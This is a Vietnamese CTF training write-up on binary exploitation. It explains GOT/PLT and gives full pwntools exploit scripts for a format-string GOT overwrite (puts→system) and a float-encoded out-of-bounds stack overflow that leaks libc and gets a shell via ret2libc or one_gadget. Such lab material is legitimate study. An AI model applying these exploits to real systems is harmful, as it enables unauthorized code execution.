---
# System prepended metadata

title: Training KCSC 2024

---

# Training KCSC 2024
## Task2
### Khái niệm GOT và PLT
- **GOT** (Global Offset Table) là nơi lưu trữ các hàm và các biến của thư viện.
- **PLT** (Procedure Linkage Table) là nơi chứa các mã lệnh để liên kết với các hàm trong thư viện.
- Ví dụ khi hàm `printf` được gọi lần đầu tiên, bởi vì địa chỉ của hàm `printf` chưa có trong **GOT**, chương trình sẽ gọi một mục trong **PLT** tương ứng với hàm `printf`. Lúc này, mục đó sẽ gọi đến một đoạn mã để phân giải địa chỉ thực sự của `pritnf`. Sau khi phân giải, chương trình sẽ cập nhập địa chỉ đó vào một mục ở trong GOT. Từ đó, nếu trong các lần sau ta gọi `printf`, thay vì gọi trong **PLT**, chương trình sẽ lấy thẳng địa chỉ vừa phân giải trong **GOT**.

### Format string
- Check qua ida:
![image](https://hackmd.io/_uploads/r1eKjHlk1l.png)
- Ta thấy ngay lỗi format string ở hàm `prinf`. Bởi vì bài này không có hàm win cũng như điều kiện gì đó để thực thi shellcode, ta phair tự tạo shellcode bằng cách tấn công `GOT`.
- Ở hàm `printf` bị lỗi format string, nếu ta **overwrite** hàm `puts.got` thành `system`, thì ở lần nhập thứ 2 nếu ta nhập vào chuỗi `/bin/sh`, tiếp theo hàm `puts` sẽ biến thành `system` và ta sẽ có shellcode.
- Như đã nói ở trên, trong một chương trình sẽ có `GOT` và `PLT`. Lần đầu tiên hàm nào đó được gọi, chương trình sẽ dùng một địa chỉ để gọi một hàm trong `PLT` từ đó gọi đến địa chỉ thực sự của hàm đó. Trong bài này, nếu ta overwite địa chỉ đó của hàm `puts` thành hàm `system`, khi lần đầu tiên hàm puts được gọi, hàm được gọi sẽ biến thành `system`, từ đó ta đạt được mục đích.
- Sử dụng lệnh `got` trong gdb để tìm địa chỉ của hàm `puts` và `system`:
![image](https://hackmd.io/_uploads/Hy-Y6Bl1kg.png)
- Ta có thể thấy giữa hai địa chỉ chỉ khác nhau 1 byte cuối. Vì vậy ta có thể dễ dàng overwrite byte cuối bằng cách sử dụng `%hhn`.
- Thử viết một script exploit thử:
```python!
from pwn import *

context.binary = exe = ELF('./main', checksec=False)
p=process(exe.path)

gdb.attach(p, gdbscript='''
b*0x000000000040122f
c
''')

payload = f'%{0x40}c%6$aaa'.encode()
payload += p64(exe.got['puts'])

p.sendlineafter(b'Give me fmt: ',payload)

p.interactive()

```
- Trong payload ta sẽ sử dụng `f` cho dễ. Phần `0x40` là do ta cần ghi đè byte cuối của `puts` từ `30` thành `40`. Dùng `aaa` mà không phải là `hhn` là bởi vì ta đang DEBUG xem chương trình đang hoạt động ra sao. Bởi vì nếu dùng luôn `hhn` thì khả năng cao chương trình sẽ bị lỗi và thoát ra luôn khiến ta không DEBUG được:
![image](https://hackmd.io/_uploads/BkqveUekyx.png)
- Lúc này ta thấy trên **stack** địa chỉ đầu tiên đúng rồi. Nhưng ở cái thứ 2 ta thấy địa chỉ của hàm `puts` không chính xác. Điều này là do ở phần đầu của payload ta chưa điền đủ 16 byte. Để khắc phục thì ta chỉ cần thêm 5 byte sau ở nửa đầu payload. Viết luôn một script hoàn thiện để xem đã thành công hay chưa:
```python
from pwn import *

context.binary = exe = ELF('./main', checksec=False)
p=process(exe.path)

gdb.attach(p, gdbscript='''
b*0x000000000040122f
c
''')

payload = f'%{0x40}c%8$aaa'.encode()
payload += b'aaaaaa'
payload += p64(exe.got['puts'])
p.sendlineafter(b'Give me fmt: ',payload)

p.interactive()

```
- Chạy thử xem có shell chưa:
![image](https://hackmd.io/_uploads/By7bASg11l.png)
- Success!!!

### Out-of-bounds
- Decompile file thử:
![image](https://hackmd.io/_uploads/H1MeoxNJkg.png)



![image](https://hackmd.io/_uploads/rkngjxV1Jx.png)
- Check qua thì thấy hàm `memset` set cho `s` 40 byte. Hàm `chart_course` với vòng lặp **for** vô hạn giúp ta nhập vào **LAT** và **LON**. Nếu ta chỉ nhập **LAT** mà không nhập **LON**, chương trình sẽ yêu cầu ta nhập **LON** vào. Sau khi **LON** hoặc **LAT** được nhập vào, nó sẽ được lưu trữ ở vị trí `a1 + i *4`. Vấn đề là `s` (ở trong hàm `chart_course` là `a1`) chỉ được set 48 byte. Điều này sẽ làm chương trình có lỗi `out-of-bounds` nếu ta nhập đến **LAT** thứ 6. Bởi vì `s` chỉ được khai báo 48 byte, mỗi lần lưu tọa độ, nó sẽ chiếm 4 byte không gian. Điều này khiến chương trình gặp lỗi, với `s` 48 byte, **rbp** 8 byte, sau đó nếu ta nhập vào sẽ có thể overwrite **rip**.
- Bởi vì **ASLR** được bật, libc base của chương trình sẽ thay đổi mỗi lần chạy. Vậy hướng đi của bài này là: leak libc base sử dụng **puts@got**, call **system** và **/bin/sh** (hoặc là **one_gadget**).
- Ở đây có hàm **atof**, nôm na là nó sẽ xử lí chuỗi nhập vào đến khi gặp kí tự không hợp lệ hoặc dấu cách để trả về **float**. Vậy với payload như bình thường ta nhập vào sẽ không hoạt động. Vì vậy ta cần chuyển payload về dạng **float** 

> Ở hàm `atof`, sau khi nhập vào payload dưới dạng **float**, khi đi vào chương trình sẽ được lưu trữ dưới dạng nhị phân. Giả sử ta nhập đúng vị trí để ghi đè `rip`, ta sẽ có thể khiến `rip` trỏ tới địa chỉ mà ta muốn.
- Bước 1: leak libc base
- Script python convert to float:
```py
import struct

hex_value = 0x00400661  #payload can convert
float_value = struct.unpack('f', struct.pack('I', hex_value))[0]
print(float_value)``
```

- Script leak libc:
```py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        gdb.attach(r, gdbscript='''
        b*0x0000000000400a1f
        c''')
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

def main():
    r = conn()

    for i in range(14):
        r.sendlineafter(b']: ',b'1.1')
    r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'8.827731909737764e-39')   #got
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.879825935531503e-39')   #plt
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.880906336647498e-39')   #main
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'done')

    r.recvuntil(b'VOYAGE!\n')
    libc=u64(r.recv(6) + b'\0\0')
    base = libc - 0x809c0
    print(b'lib leak: ', hex(libc))
    print(b'lib base: ', hex(base))

    r.interactive()

if __name__ == "__main__":
    main()

```

- Khi đã có libc base, ta chỉ cần ret2libc (bởi vì chương trình có time out nên ta phải tự động bằng script):
```py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        gdb.attach(r, gdbscript='''
        b*0x0000000000400a1f
        c''')
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    for i in range(14):
        r.sendlineafter(b']: ',b'1.1')
    r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'8.827731909737764e-39')   #got
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.879825935531503e-39')   #plt
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.880906336647498e-39')   #main
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'done')

    r.recvuntil(b'VOYAGE!\n')
    libc=u64(r.recv(6) + b'\0\0')
    base = libc - 0x809c0
    print(b'lib leak: ', hex(libc))
    print(b'lib base: ', hex(base))
    binsh = base +0x1b3e9a
    system = base + 0x4f440
    print('binsh: ', hex(binsh))
    def split_address(address):
        # Lấy 32 bit thấp
        part1 = address & 0xFFFFFFFF  # Lấy 4 byte cuối
        # Lấy 32 bit cao
        part2 = (address >> 32) & 0xFFFFFFFF  # Lấy 4 byte đầu
        part1 = f"0x{part1:08x}"  # Định dạng thành chuỗi có 8 ký tự hex
        part2 = f"0x{part2:08x}"  # Tương tự
        return part1, part2
    
    binsh_1, binsh_2 = split_address(binsh)
    print('binsh1: ',binsh_1)
    print('binsh2: ',binsh_2)
    system_1, system_2 = split_address(system)
    print('system1: ', system_1)
    print('system2: ', system_2)

    binsh_1_int = int(binsh_1, 16)
    binsh_2_int = int(binsh_2, 16)
    system_1_int = int(system_1, 16)
    system_2_int = int(system_2, 16)
    binsh1_float = struct.unpack('f', struct.pack('I', binsh_1_int))[0]
    binsh2_float = struct.unpack('f', struct.pack('I', binsh_2_int))[0]
    system1_float = struct.unpack('f', struct.pack('I', system_1_int))[0]
    system2_float = struct.unpack('f', struct.pack('I', system_2_int))[0]
    binsh1_float_str = str(binsh1_float).encode()
    binsh2_float_str = str(binsh2_float).encode()
    system1_float_str = str(system1_float).encode()
    system2_float_str = str(system2_float).encode()
    for i in range(14):
        r.sendlineafter(b']: ',b'1.1')
    r.sendlineafter(b']: ',b'5.87976007450368e-39') #ret
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',binsh1_float_str)   #/bin/sh
    r.sendlineafter(b']: ',binsh2_float_str)
    r.sendlineafter(b']: ',system1_float_str) #system
    r.sendlineafter(b']: ',system2_float_str)

    r.interactive()

if __name__ == "__main__":
    main()

```
- Hoặc ta có thể sử dụng `one_gadget`:
```py
#!/usr/bin/env python3

from pwn import *

exe = ELF("./overfloat_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    for i in range(14):
        r.sendlineafter(b']: ',b'1.1')
    r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'8.827731909737764e-39')   #got
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.879825935531503e-39')   #plt
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'5.880906336647498e-39')   #main
    r.sendlineafter(b']: ',b'')
    r.sendlineafter(b']: ',b'done')

    r.recvuntil(b'VOYAGE!\n')
    libc=u64(r.recv(6) + b'\0\0')
    base = libc - 0x809c0
    
    def split_address(address):
        # Lấy 32 bit thấp
        part1 = address & 0xFFFFFFFF  # Lấy 4 byte cuối
        # Lấy 32 bit cao
        part2 = (address >> 32) & 0xFFFFFFFF  # Lấy 4 byte đầu
        part1 = f"0x{part1:08x}"  # Định dạng thành chuỗi có 8 ký tự hex
        part2 = f"0x{part2:08x}"  # Tương tự
        return part1, part2

    onegadget= base + 0x4f2c5
    one_1, one_2 = split_address(onegadget)

    one_1_int = int(one_1, 16)
    one_2_int = int(one_2, 16)

    one_1_float = struct.unpack('f', struct.pack('I', one_1_int))[0]
    one_2_float = struct.unpack('f', struct.pack('I', one_2_int))[0]

    one_1_float_str = str(one_1_float).encode()
    one_2_float_str = str(one_2_float).encode()

    for i in range(14):
        r.sendlineafter(b']: ',b'1.1')
    r.sendlineafter(b']: ',one_1_float_str) #ret
    r.sendlineafter(b']: ',one_2_float_str)
    
    r.sendlineafter(b']: ',b'done')

    

    r.interactive()


if __name__ == "__main__":
    main()

```

- Dù là cách nào thì ta cũng đều lấy được shell cả:
![image](https://hackmd.io/_uploads/rkohFZ4JJg.png)
